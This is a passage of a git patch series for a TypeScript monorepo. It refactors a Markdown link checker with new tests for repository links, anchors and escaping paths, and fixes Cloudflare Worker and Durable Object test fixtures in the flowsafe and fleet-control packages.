}); + await vi.waitFor(() => + expect( + runtime.getThreadState( + { threadId, resourceId: 'resource-keys' }, + pubsub, + ), + ).toBe('active'), + ); + const emitted = vi.spyOn(runtime, 'sendSignal'); + // #when const result = await agent.sendNotificationSignal( { source, kind: 'changed', summary: 'payload', priority }, diff --git a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts index 6679f1cb..076e6c21 100644 --- a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts +++ b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts @@ -1,7 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -// The unit suites each mock a seam; this file wires the real seams together: -// the real dispatch tick, the real thread topology, the real thread-DO signal -// routes and a SQLite-backed D1 notification store. +// The unit suites each mock a seam; this file wires the real seams together. import type { Agent, AgentSignal } from '@mastra/core/agent'; import type { NotificationRecord } from '@mastra/core/notifications'; diff --git a/packages/flowsafe/src/signals/thread-do-routes.ts b/packages/flowsafe/src/signals/thread-do-routes.ts index 21b13b0d..acf6558a 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.ts @@ -2612,6 +2612,14 @@ async function handleNotification( 409, ); } + // Ingestion reaches core's patched functions below — the content-policy gate + // renders a prospective summary through summarizeNotifications, and core's + // inline sender resolves the configured source delivery policy — so the + // refusal sits above the branches rather than beside a single reach. It + // refuses the record-only branch as well, which a deployment that ingests + // here and delegates dispatch elsewhere pays. The route's catch answers 502 + // with the message on the server log. + assertNotificationSourceKeysPatched(); // This gate is AUTHORITATIVE, not a preview: core can send an individual or // summary signal before the record reaches the dispatcher's second gate. // Storage owns the id, timestamps, and coalescing, so inspect a prospective diff --git a/packages/flowsafe/test-support/d1-type-compatibility.ts b/packages/flowsafe/test-support/d1-type-compatibility.ts new file mode 100644 index 00000000..f79dbb3b --- /dev/null +++ b/packages/flowsafe/test-support/d1-type-compatibility.ts @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: Apache-2.0 +// `SignalDatabase`, `SnapshotDatabase` and `InitialAdmissionDatabase` are +// structural subsets of D1 held in method syntax, so a host passes its +// `env.DB` binding straight through with no adapter. These erased assertions +// hold that open against a real D1Database, on the public type each consumer +// names. `ScheduleDatabase` is an alias of `SignalDatabase` (schedules-d1.ts), +// so the signal pin covers it. Same technique as the R2 seam beside this file +// and the runtime pins in src/do-runner/cf-types.ts. +import type { D1Database } from '@cloudflare/workers-types'; + +import type { + InitialAdmissionDatabase, + SnapshotDatabase, +} from '../src/do-runner/index.js'; +import type { SignalDatabase } from '../src/signals/index.js'; + +type AssertTrue = T; +type _D1SatisfiesSignalDatabase = AssertTrue< + D1Database extends SignalDatabase ? true : false +>; +type _D1SatisfiesSnapshotDatabase = AssertTrue< + D1Database extends SnapshotDatabase ? true : false +>; +type _D1SatisfiesInitialAdmissionDatabase = AssertTrue< + D1Database extends InitialAdmissionDatabase ? true : false +>; diff --git a/packages/flowsafe/test-support/sqlite.ts b/packages/flowsafe/test-support/sqlite.ts index 793d7ef3..5c8aa58f 100644 --- a/packages/flowsafe/test-support/sqlite.ts +++ b/packages/flowsafe/test-support/sqlite.ts @@ -38,12 +38,14 @@ export function sqliteUnitDatabase(db: SqliteDatabase): unknown { function statement(sql: string, params: unknown[]): Record { const execute = () => { - const outcome = db.prepare(sql).run(...params) as { - changes?: number | bigint; + const results = db.prepare(sql).all(...params); + const outcome = db.prepare('SELECT changes() AS count').get() as { + count: number | bigint; }; return { success: true, - meta: { changes: Number(outcome?.changes ?? 0) }, + results, + meta: { changes: Number(outcome.count) }, }; }; return { @@ -56,17 +58,7 @@ export function sqliteUnitDatabase(db: SqliteDatabase): unknown { return column !== undefined ? (row[column] ?? null) : row; }, run: async () => execute(), - [runSync]: () => { - const results = db.prepare(sql).all(...params); - const count = db.prepare('SELECT changes() AS count').get() as { - count: number | bigint; - }; - return { - success: true, - results, - meta: { changes: Number(count.count) }, - }; - }, + [runSync]: execute, all: async () => ({ success: true, results: db.prepare(sql).all(...params), diff --git a/packages/flowsafe/tsconfig.test.json b/packages/flowsafe/tsconfig.test.json index b4db56d7..6f619a3c 100644 --- a/packages/flowsafe/tsconfig.test.json +++ b/packages/flowsafe/tsconfig.test.json @@ -27,6 +27,7 @@ "include": [ "src", "examples", + "test-support/d1-type-compatibility.ts", "test-support/r2-type-compatibility.ts", "deploy/worker.ts", "deploy/worker.e2e.test.ts" diff --git a/scripts/docs-check.mjs b/scripts/docs-check.mjs index d18c28b1..74784bb9 100644 --- a/scripts/docs-check.mjs +++ b/scripts/docs-check.mjs @@ -32,9 +32,10 @@ const INTERNAL_MILESTONE_PATTERN = /\b(?:CI-M-\d{3}(?:-\d{3})?|DL-\d{3}|INV-\d+|M-\d{3}|RA-\d{3}|[A-Z]-S\d+|R-[A-Z0-9][A-Z0-9-]*|[A-Z]-D\d+|D(?:[2-9]|\d{2,})|F\d+|P\d+(?:-lite)?|Track [A-Z]|Phase \d+)\b/g; const VOLATILE_COUNT_PATTERN = /(?` pin) is left to the +// `--external` run, which fetches it and fails on 404/410; that run cannot see +// a bad fragment, because GitHub answers 200 for one. +function repositoryBlobTarget(root, target) { + if (!target.startsWith(REPOSITORY_BLOB_PREFIX)) return undefined; + const split = splitLocalTarget(target.slice(REPOSITORY_BLOB_PREFIX.length)); + if (!split.path) return undefined; + return resolveAgainstRoot(root, split, resolve(root, split.path)); +} + function manifestFileIncludes(manifest, packageRelativePath) { if ( packageRelativePath === 'package.json' || @@ -347,6 +400,20 @@ function checkLocalLinks(root, markdownFiles, manifests) { return result; }; + // Shared by both link branches like the diagnostics above, but declared + // here because it reads the anchor cache. A link with no fragment has + // nothing to check. + const anchorError = (resolved, anchor) => { + if ( + anchor && + extname(resolved.path).toLowerCase() === '.md' && + !anchorsFor(resolved.path).has(anchor) + ) { + return `Markdown anchor does not exist: #${anchor}`; + } + return undefined; + }; + for (const sourceFile of markdownFiles) { const markdown = readFileSync(sourceFile, 'utf8'); const packageContext = shippedPackageContext(sourceFile, manifests); @@ -379,6 +446,17 @@ function checkLocalLinks(root, markdownFiles, manifests) { `external URL is invalid: ${link.target}`, ), ); + continue; + } + const inRepository = repositoryBlobTarget(root, link.target); + if (inRepository) { + const message = + localTargetError(inRepository, link.target) ?? + internalFileError(root, sourceFile, inRepository, link.target) ?? + anchorError(inRepository, inRepository.anchor); + if (message) { + errors.push(diagnostic(root, sourceFile, link.line, message)); + } } continue; } @@ -395,58 +473,20 @@ function checkLocalLinks(root, markdownFiles, manifests) { } const resolved = resolveLocalTarget(root, sourceFile, link.target); - if (resolved.outsideRoot) { - errors.push( - diagnostic( - root, - sourceFile, - link.line, - `link escapes the repository: ${link.target}`, - ), - ); - continue; - } - if (!existsSync(resolved.path)) { - errors.push( - diagnostic( - root, - sourceFile, - link.line, - `link target does not exist: ${link.target}`, - ), - ); - continue; - } - if (resolved.directoryWithoutReadme) { - errors.push( - diagnostic( - root, - sourceFile, - link.line, - `linked directory has no README.md: ${link.target}`, - ), - ); + const targetError = localTargetError(resolved, link.target); + if (targetError) { + errors.push(diagnostic(root, sourceFile, link.line, targetError)); continue; } - const targetRelative = toPosix(relative(root, resolved.path)); - if ( - basename(sourceFile).toLowerCase() !== 'claude.md' && - (basename(resolved.path).toLowerCase() === 'claude.md' || - targetRelative.split('/').includes('.notes') || - (!targetRelative.startsWith('docs/proposals/') && - /(?:^|[-_])(?:plan|roadmap)(?:[-_.]|$)/i.test( - basename(resolved.path), - ))) - ) { - errors.push( - diagnostic( - root, - sourceFile, - link.line, - `public documentation links to an internal file: ${link.target}`, - ), - ); + const internalError = internalFileError( + root, + sourceFile, + resolved, + link.target, + ); + if (internalError) { + errors.push(diagnostic(root, sourceFile, link.line, internalError)); } if (packageContext) { @@ -468,19 +508,9 @@ function checkLocalLinks(root, markdownFiles, manifests) { } } - if ( - resolved.anchor && - extname(resolved.path).toLowerCase() === '.md' && - !anchorsFor(resolved.path).has(resolved.anchor) - ) { - errors.push( - diagnostic( - root, - sourceFile, - link.line, - `Markdown anchor does not exist: #${resolved.anchor}`, - ), - ); + const anchorMessage = anchorError(resolved, resolved.anchor); + if (anchorMessage) { + errors.push(diagnostic(root, sourceFile, link.line, anchorMessage)); } } } diff --git a/scripts/docs-check.test.mjs b/scripts/docs-check.test.mjs index e745fd6b..06f9f4f4 100644 --- a/scripts/docs-check.test.mjs +++ b/scripts/docs-check.test.mjs @@ -196,6 +196,211 @@ test('missing files, directory READMEs, and Markdown anchors fail', () => { ); }); +test('relative links obey the internal-file policy', () => { + const root = fixture({ + 'docs/guide.md': `# Guide + +[Notes](../CLAUDE.md) +[Plan](release-plan.md#target-heading) +`, + 'CLAUDE.md': '# Repository navigation\n', + 'docs/release-plan.md': '# Target heading\n', + }); + + const result = checkRepository({ + root, + markdownFiles: markdownFiles(root, [ + 'docs/guide.md', + 'CLAUDE.md', + 'docs/release-plan.md', + ]), + packageChecks: false, + orphanChecks: false, + }); + + assert.deepEqual( + result.errors.map((error) => error.message), + [ + 'public documentation links to an internal file: ../CLAUDE.md', + 'public documentation links to an internal file: release-plan.md#target-heading', + ], + ); +}); + +test('absolute repository links resolve their Markdown anchors', () => { + const root = fixture({ + 'packages/example/README.md': `# Example + +[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md#target-heading) +`, + 'docs/guide.md': '# Target heading\n', + }); + + const result = checkRepository({ + root, + markdownFiles: markdownFiles(root, [ + 'packages/example/README.md', + 'docs/guide.md', + ]), + packageChecks: false, + orphanChecks: false, + }); + + assert.deepEqual(result.errors, []); +}); + +test('absolute repository links fail on a missing Markdown anchor', () => { + const root = fixture({ + 'packages/example/README.md': `# Example + +[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md#absent) +`, + 'docs/guide.md': '# Target heading\n', + }); + + const result = checkRepository({ + root, + markdownFiles: markdownFiles(root, [ + 'packages/example/README.md', + 'docs/guide.md', + ]), + packageChecks: false, + orphanChecks: false, + }); + + assert.deepEqual( + result.errors.map((error) => error.message), + ['Markdown anchor does not exist: #absent'], + ); +}); + +test('absolute repository links fail on a missing target file', () => { + const root = fixture({ + 'packages/example/README.md': `# Example + +[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#target-heading) +`, + }); + + const result = checkRepository({ + root, + markdownFiles: markdownFiles(root, ['packages/example/README.md']), + packageChecks: false, + orphanChecks: false, + }); + + assert.deepEqual( + result.errors.map((error) => error.message), + [ + 'link target does not exist: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#target-heading', + ], + ); +}); + +test('absolute repository links fail on a path that escapes the repository', () => { + const outer = fixture({ + 'repo/packages/example/README.md': `# Example + +[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md#target-heading) +`, + 'outside.md': '# Target heading\n', + }); + const root = join(outer, 'repo'); + + const result = checkRepository({ + root, + markdownFiles: markdownFiles(root, ['packages/example/README.md']), + packageChecks: false, + orphanChecks: false, + }); + + assert.deepEqual( + result.errors.map((error) => error.message), + [ + 'link escapes the repository: https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md#target-heading', + ], + ); +}); + +test('fragment-less absolute repository links fail on a missing target file', () => { + const root = fixture({ + 'packages/example/README.md': `# Example + +[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md) +`, + }); + + const result = checkRepository({ + root, + markdownFiles: markdownFiles(root, ['packages/example/README.md']), + packageChecks: false, + orphanChecks: false, + }); + + assert.deepEqual( + result.errors.map((error) => error.message), + [ + 'link target does not exist: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md', + ], + ); +}); + +test('fragment-less absolute repository links fail on an escaping path', () => { + const outer = fixture({ + 'repo/packages/example/README.md': `# Example + +[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md) +`, + 'outside.md': '# Target heading\n', + }); + const root = join(outer, 'repo'); + + const result = checkRepository({ + root, + markdownFiles: markdownFiles(root, ['packages/example/README.md']), + packageChecks: false, + orphanChecks: false, + }); + + assert.deepEqual( + result.errors.map((error) => error.message), + [ + 'link escapes the repository: https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md', + ], + ); +}); + +test('absolute repository links obey the internal-file policy', () => { + const root = fixture({ + 'packages/example/README.md': `# Example + +[Notes](https://github.com/ProofOfTechOrg/anchorage/blob/main/CLAUDE.md) +[Plan](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/release-plan.md#target-heading) +`, + 'CLAUDE.md': '# Repository navigation\n', + 'docs/release-plan.md': '# Target heading\n', + }); + + const result = checkRepository({ + root, + markdownFiles: markdownFiles(root, [ + 'packages/example/README.md', + 'CLAUDE.md', + 'docs/release-plan.md', + ]), + packageChecks: false, + orphanChecks: false, + }); + + assert.deepEqual( + result.errors.map((error) => error.message), + [ + 'public documentation links to an internal file: https://github.com/ProofOfTechOrg/anchorage/blob/main/CLAUDE.md', + 'public documentation links to an internal file: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/release-plan.md#target-heading', + ], + ); +}); + test('invalid and unsafe URLs fail before the scheduled network check', () => { const root = fixture({ 'README.md': `[Invalid](https://[invalid) From 21c20d2462a36a3a0c0eb70baf8c09e956c5d9c4 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 13 Sep 2026 00:35:24 +0400 Subject: [PATCH 137/169] test(flowsafe): give the deploy proof DO storage and a cursor owner The template's executable proof drives the run DO over a stub state and calls the maintenance seam directly, so it owns two contracts a deployment supplies: the run-owner recovery journal writes through state.storage, and the purge duty advances a retention cursor its caller holds. Without them the start route answers 500 and stale run rows survive the purge. Co-Authored-By: Claude Fable 5.1 --- packages/flowsafe/deploy/worker.e2e.test.ts | 65 +++++++++++++++++---- 1 file changed, 55 insertions(+), 10 deletions(-) diff --git a/packages/flowsafe/deploy/worker.e2e.test.ts b/packages/flowsafe/deploy/worker.e2e.test.ts index 52e3919d..d5075105 100644 --- a/packages/flowsafe/deploy/worker.e2e.test.ts +++ b/packages/flowsafe/deploy/worker.e2e.test.ts @@ -44,6 +44,7 @@ import { D1ApprovalStoreFactory, } from '../src/approval-api/index.js'; import { + type DurableKeyValueStorage, HUB_INSTANCE_NAME, PATH_SAFE_ID_PATTERN, type RunArtifactPurger, @@ -51,6 +52,7 @@ import { } from '../src/do-runner/index.js'; import { createFlowsafeWorker, + type MaintenanceDutyContext, staticTokenVerifier, } from '../src/host-kit/index.js'; import { @@ -78,17 +80,33 @@ const maintenanceWorker = createFlowsafeWorker({ }, }); +// The purge duty reads its retention cursor from this context and, with no way +// to advance it, skips the run-row purge and reports a retention-purge failure +// while its sibling surfaces continue. The shipped template's +// FlowsafeMaintenance DO supplies both from its own storage, so a caller that +// drives the seam directly owns the cursor itself. +function retentionContext(): MaintenanceDutyContext { + const context: MaintenanceDutyContext = { + advanceRetentionCursor: async (cursor) => { + context.retentionCursor = structuredClone(cursor); + }, + }; + return context; +} + async function runMaintenanceDuty( duty: 'sweep' | 'purge', env: Env, ): Promise { - await maintenanceWorker.runMaintenanceDuty(duty, env); + await maintenanceWorker.runMaintenanceDuty(duty, env, retentionContext()); } // In-process DO namespace: idFromName carries the name, get() memoizes a REAL -// FlowsafeRunner per name with a stub state exposing that identity — the same -// `{ id: { name } }` shape durable-object.ts documents for node tests, so -// request identity and deployment identity assertions both execute for real. +// FlowsafeRunner per name over a stub state carrying that identity and an +// in-memory DurableKeyValueStorage. Request identity and deployment identity +// assertions execute against the real guards, and the run-owner recovery +// journal the start path writes has the storage it requires — a storage-less +// state fails that journal's prepared phase. function fakeRunnerNamespace(getEnv: () => Env): DurableObjectNamespace { const instances = new Map(); const namespace = { @@ -97,8 +115,23 @@ function fakeRunnerNamespace(getEnv: () => Env): DurableObjectNamespace { fetch: async (input: string, init?: RequestInit) => { let runner = instances.get(id.name); if (!runner) { + const values = new Map(); + const storage: DurableKeyValueStorage = { + async get(key: string): Promise { + return values.get(key) as T | undefined; + }, + async put(key: string, value: T): Promise { + values.set(key, value); + }, + async delete(key: string): Promise { + return values.delete(key); + }, + async setAlarm(_scheduledTime: number | Date): Promise {}, + async deleteAlarm(): Promise {}, + }; const state = { id: { name: id.name }, + storage, } as unknown as DurableObjectState; runner = new FlowsafeRunner(state, getEnv()); instances.set(id.name, runner); @@ -1102,7 +1135,11 @@ describe('createFlowsafeWorker artifact-paired retention purge (F4)', () => { }; // #when — the PURGE duty runs - await workerWith(() => artifactStore).runMaintenanceDuty('purge', env); + await workerWith(() => artifactStore).runMaintenanceDuty( + 'purge', + env, + retentionContext(), + ); // #then — the stale run's artifacts were deleted (while its row still // existed), then its row was purged; the fresh run is untouched @@ -1140,8 +1177,8 @@ describe('createFlowsafeWorker artifact-paired retention purge (F4)', () => { ); const worker = workerWith(artifactStore); - await worker.runMaintenanceDuty('purge', firstEnv); - await worker.runMaintenanceDuty('purge', secondEnv); + await worker.runMaintenanceDuty('purge', firstEnv, retentionContext()); + await worker.runMaintenanceDuty('purge', secondEnv, retentionContext()); expect(artifactStore).toHaveBeenNthCalledWith(1, firstEnv); expect(artifactStore).toHaveBeenNthCalledWith(2, secondEnv); @@ -1179,7 +1216,7 @@ describe('createFlowsafeWorker artifact-paired retention purge (F4)', () => { const outcome = await workerWith( artifactStore, extraPurgeDuty, - ).runMaintenanceDuty('purge', env); + ).runMaintenanceDuty('purge', env, retentionContext()); expect(outcome).toMatchObject({ ok: false }); expect(remainingRunIds(sqlite)).toEqual(['acme_stale-done']); @@ -1202,7 +1239,11 @@ describe('createFlowsafeWorker artifact-paired retention purge (F4)', () => { }); // #when - await workerWith(undefined).runMaintenanceDuty('purge', env); + await workerWith(undefined).runMaintenanceDuty( + 'purge', + env, + retentionContext(), + ); // #then — byte-identical row-only outcome expect(remainingRunIds(sqlite)).toEqual(['acme_fresh-done']); @@ -1217,7 +1258,11 @@ describe('createFlowsafeWorker artifact-paired retention purge (F4)', () => { updatedAt: Date.now() - 40 * DAY_MS, }); - await workerWith(() => undefined).runMaintenanceDuty('purge', env); + await workerWith(() => undefined).runMaintenanceDuty( + 'purge', + env, + retentionContext(), + ); expect(remainingRunIds(sqlite)).toEqual([]); }); From 06e0da07e39b30bd85b79ffbf23117453e2f2fcf Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 13 Sep 2026 05:09:15 +0400 Subject: [PATCH 138/169] fix(fleet-control): map own specifiers to source, fix four stale suites The package's direct scripts import it by its own name, which the exports map resolves to dist. The test-including tsconfig program and the API docs therefore fail in a tree that has not built the package, and CI runs typecheck and test before build. Map both specifiers to src in tsconfig.json for that program and for TypeDoc, and have the package's pretypecheck build it so the Worker-typed script program and the test step find the dist they resolve through exports. The script program keeps that resolution: mapped to src instead, it compiles this package's src as checked source and reports four diagnostics program 1 does not. Those four are left as they are; this checkpoint changes no src file. Four suites that predate the branch fail at its tip because commits on it tightened the shared contracts they consume without carrying them: a versions-list stub answering with an object the parser now refuses, a D1 list row with an empty uuid now refused by the adapter before the backend, an inline footprint double without the two flags the completeness guard now requires, a fixture record without the wfpMode the immutable-mapping check now compares, and a synthetic version upload without the entrypoint module part the shared fetch fixture now requires. The stubs and fixtures now satisfy the tightened contract, so each case again exercises what it targets; the port-contract case instead expects the adapter's refusal, which now preempts the backend's. One assertion that compared a record to itself now compares it to a copy taken before the refused admission. Co-Authored-By: Claude Fable 5.1 --- packages/fleet-control/package.json | 2 +- packages/fleet-control/test/cleanup-advance.test.ts | 8 ++++++-- .../test/cross-backend-continuation.test.ts | 8 +++++++- .../test/wrangler-loop-backend-port-contract.test.ts | 2 +- .../fleet-control/test/wrangler-loop-backend.test.ts | 8 ++++++++ packages/fleet-control/tsconfig.json | 10 +++++++++- 6 files changed, 32 insertions(+), 6 deletions(-) diff --git a/packages/fleet-control/package.json b/packages/fleet-control/package.json index e2b79054..fc4e8ca4 100644 --- a/packages/fleet-control/package.json +++ b/packages/fleet-control/package.json @@ -54,7 +54,7 @@ "clean": "node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"", "lint": "pnpm -w exec biome check packages/fleet-control", "prepack": "pnpm run clean && pnpm run build", - "pretypecheck": "pnpm --filter @proofoftech/breakwater --filter @proofoftech/flowsafe build", + "pretypecheck": "pnpm run build", "test:credentialed": "pnpm build && node scripts/credentialed-conformance.mjs", "test:packed-consumer": "node scripts/packed-consumer-test.mjs", "test": "vitest run", diff --git a/packages/fleet-control/test/cleanup-advance.test.ts b/packages/fleet-control/test/cleanup-advance.test.ts index 4a96638c..9d7301b2 100644 --- a/packages/fleet-control/test/cleanup-advance.test.ts +++ b/packages/fleet-control/test/cleanup-advance.test.ts @@ -718,7 +718,10 @@ describe('bounded cleanup admission', () => { 'invocation authority carrier is malformed; use export-backed decommissioning', }, { - overrides: { backend: 'workers-for-platforms' }, + overrides: { + backend: 'workers-for-platforms', + wfpMode: 'platform-catalog', + }, backendKind: 'workers-for-platforms', message: 'deployment carries an untrusted data binding; use export-backed decommissioning', @@ -753,10 +756,11 @@ describe('bounded cleanup admission', () => { store.record = overridden; } if (testCase.backendKind) backend.kind = testCase.backendKind; + const recordBeforeAdmission = structuredClone(store.record); await expect(start(store, backend)).rejects.toThrow(testCase.message); expect(store.puts).toBe(0); expect(backend.providerCalls).toBe(0); - expect(store.record).toEqual(store.record); + expect(store.record).toStrictEqual(recordBeforeAdmission); } const empty = harness(); await expect(start(empty.store, empty.backend)).rejects.toThrow( diff --git a/packages/fleet-control/test/cross-backend-continuation.test.ts b/packages/fleet-control/test/cross-backend-continuation.test.ts index 1d0cd124..4583b89f 100644 --- a/packages/fleet-control/test/cross-backend-continuation.test.ts +++ b/packages/fleet-control/test/cross-backend-continuation.test.ts @@ -151,7 +151,13 @@ async function assertVersionProjectionRedaction( bindings: sourceVersion.bindings, main_module: 'worker.js', }, - files: [], + files: [ + { + name: 'worker.js', + text: 'export default {}', + type: 'application/javascript+module', + }, + ], }, headers: new Headers(), redirect: undefined, diff --git a/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts index 97f863a2..f5f57dfc 100644 --- a/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts @@ -664,7 +664,7 @@ describe('WranglerLoopBackend provisioning port contract', () => { stderr: '', })); await expect((await backend(runner)).findDatabase(spec)).rejects.toThrow( - 'D1 list result has no uuid', + 'D1 database inventory has an invalid uuid or name', ); }); diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts index 0e233cbc..5e12e764 100644 --- a/packages/fleet-control/test/wrangler-loop-backend.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts @@ -1442,6 +1442,9 @@ export default { stderr: '', }; } + if (arguments_[0] === 'versions' && arguments_[1] === 'list') { + return { stdout: JSON.stringify([]), stderr: '' }; + } return { stdout: JSON.stringify({ resources: { @@ -1598,6 +1601,9 @@ export default { stderr: '', }; } + if (arguments_[0] === 'versions' && arguments_[1] === 'list') { + return { stdout: JSON.stringify([]), stderr: '' }; + } return { stdout: JSON.stringify(version), stderr: '' }; }); @@ -2898,6 +2904,8 @@ export default { async inspectOrdinaryWorkerFootprint() { return { scriptPresent: true, + workersDevEnabled: false, + previewUrlsEnabled: false, customDomains: [ { id: 'sticky-domain', diff --git a/packages/fleet-control/tsconfig.json b/packages/fleet-control/tsconfig.json index 2517b714..9e91d3c2 100644 --- a/packages/fleet-control/tsconfig.json +++ b/packages/fleet-control/tsconfig.json @@ -4,7 +4,15 @@ "declaration": false, "declarationMap": false, "noEmit": true, - "types": ["node", "vitest/globals"] + "types": ["node", "vitest/globals"], + // Copy-ready package specifiers resolve to source here; consumers keep the + // same imports against the published package. + "paths": { + "@proofoftech/fleet-control": ["./src/index.ts"], + "@proofoftech/fleet-control/cloudflare-control-plane": [ + "./src/cloudflare-control-plane.ts" + ] + } }, "include": ["src/**/*.ts", "test/**/*.ts"] } From 11334cfab7dd084cc3397bea4397c867e5a487d7 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 13 Sep 2026 07:35:30 +0400 Subject: [PATCH 139/169] feat(fleet-control): tear down the direct reference with exact receipts Add a private teardown module for the direct credentialed scenario. It disables the reference ingress, deletes the four resources bootstrap created and the two export receipts in a fixed order, one atomic journal write per transition, settles a delete whose answer is not a validated envelope by an exact-identity reread, re-checks identity before re-issuing a delete on resume, and ends with a bounded read-only residual observation over six surfaces. A scenario that did not complete, a pending invocation or bootstrap mutation, a missing receipt, an unexpected object under the prefix, an identity mismatch, a forbidden answer, or an exhausted budget stops the run, and the outcome reports the reason with the identities that survive it. The provider helpers gain an envelope-only settled client, a three-way absence probe, single-page and bucket-page readers, a bounded error unwrap, and bootstrap's inventory and identifier verbatim; its dispatch classification moves with them and now also returns the namespace names. The run journal gains a closed teardown record with decode rules that refuse a receipt still named as pending, monotonic guards, a capacity check against the journal bound, and settled assertions that refuse scenario, invocation and bootstrap mutations mid-teardown. The teardown tests drive an in-process fetch router; nothing here contacts Cloudflare. Co-Authored-By: Claude Fable 5.1 --- .../scripts/direct-credentialed-bootstrap.mjs | 70 +- .../direct-credentialed-provider.d.mts | 98 ++ .../scripts/direct-credentialed-provider.mjs | 150 +++- .../direct-credentialed-run-state.d.mts | 119 +++ .../scripts/direct-credentialed-run-state.mjs | 292 +++++- .../direct-credentialed-teardown.d.mts | 58 ++ .../scripts/direct-credentialed-teardown.mjs | 796 ++++++++++++++++ .../direct-credentialed-run-state.test.ts | 307 +++++++ .../test/direct-credentialed-teardown.test.ts | 847 ++++++++++++++++++ .../test/fixtures/direct-run-state-builder.ts | 149 ++- 10 files changed, 2818 insertions(+), 68 deletions(-) create mode 100644 packages/fleet-control/scripts/direct-credentialed-provider.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-teardown.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-teardown.mjs create mode 100644 packages/fleet-control/test/direct-credentialed-teardown.test.ts diff --git a/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs index 07010930..947011a8 100644 --- a/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs @@ -5,9 +5,13 @@ import { isDeepStrictEqual } from 'node:util'; import { validateProviderAuth as auth, + classifyDispatchNamespaces, DirectProviderError, + identifier, + inventory, openDirectProviderSession, } from './direct-credentialed-provider.mjs'; +import { DirectRunStateError } from './direct-credentialed-run-state.mjs'; const ERROR_CODES = new Set([ 'invalid-input', @@ -38,21 +42,6 @@ function object(value) { return value; } -function identifier(value, max = 128) { - if ( - typeof value !== 'string' || - !value || - value !== value.trim() || - value.length > max || - [...value].some( - (character) => - character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127, - ) - ) - refuse(); - return value; -} - function equal(value, expected) { if (!isDeepStrictEqual(value, expected)) refuse(); } @@ -232,29 +221,6 @@ async function checkedInput(input) { } } -async function inventory(pages, identity, bound) { - const rows = []; - const seen = new Set(); - let expectedCount = 0; - let expectedPages = 0; - let pageCount = 0; - for await (const page of (await pages).iterPages()) { - pageCount += 1; - expectedCount = Math.max(expectedCount, page.result_info?.total_count ?? 0); - expectedPages = Math.max(expectedPages, page.result_info?.total_pages ?? 0); - for (const row of page.result) { - const keys = identity(row); - if (keys.some((key) => seen.has(key)) || rows.length >= bound) - refuse('provider-unavailable'); - for (const key of keys) seen.add(key); - rows.push(row); - } - } - if (rows.length < expectedCount || pageCount < expectedPages) - refuse('provider-unavailable'); - return rows; -} - function zone(row, accountId) { identifier(row.id); const name = identifier(row.name, 253); @@ -459,26 +425,12 @@ export async function bootstrapDirectConformance(input) { selectedZone.name !== matches[0].name ) refuse(); - let dispatch; - try { - const namespaces = await inventory( - single.workersForPlatforms.dispatch.namespaces.list(selectors), - (row) => { - return [ - `id:${identifier(row.namespace_id)}`, - `name:${identifier(row.namespace_name)}`, - ]; - }, - bound, - ); - dispatch = { - kind: namespaces.length ? 'enumerated' : 'empty', - count: namespaces.length, - }; - } catch (error) { - if (!(error instanceof APIError) || error.status !== 404) throw error; - dispatch = { kind: 'first-page-404', count: 0 }; - } + const namespaces = await classifyDispatchNamespaces( + single, + selectors, + bound, + ); + const dispatch = { kind: namespaces.kind, count: namespaces.count }; await journal.bindBootstrapContext({ names, zoneId: selectedZone.id, @@ -800,6 +752,8 @@ export async function bootstrapDirectConformance(input) { } catch (error) { if (error instanceof DirectBootstrapError) throw error; if (error instanceof DirectProviderError) refuse(error.code); + if (error instanceof DirectRunStateError) + refuse(error.code === 'outcome-unknown' ? error.code : 'invalid-input'); if (transport?.failure()) refuse(transport.failure()); if (error?.name === 'DirectInvocationError' && ERROR_CODES.has(error.code)) refuse(error.code); diff --git a/packages/fleet-control/scripts/direct-credentialed-provider.d.mts b/packages/fleet-control/scripts/direct-credentialed-provider.d.mts new file mode 100644 index 00000000..68cc5f9f --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-provider.d.mts @@ -0,0 +1,98 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type Cloudflare from 'cloudflare'; + +export type DirectProviderErrorCode = + | 'invalid-input' + | 'provider-unavailable' + | 'observation-mismatch' + | 'budget-exhausted' + | 'forbidden'; + +export class DirectProviderError extends Error { + readonly code: DirectProviderErrorCode; + constructor(code?: DirectProviderErrorCode); +} 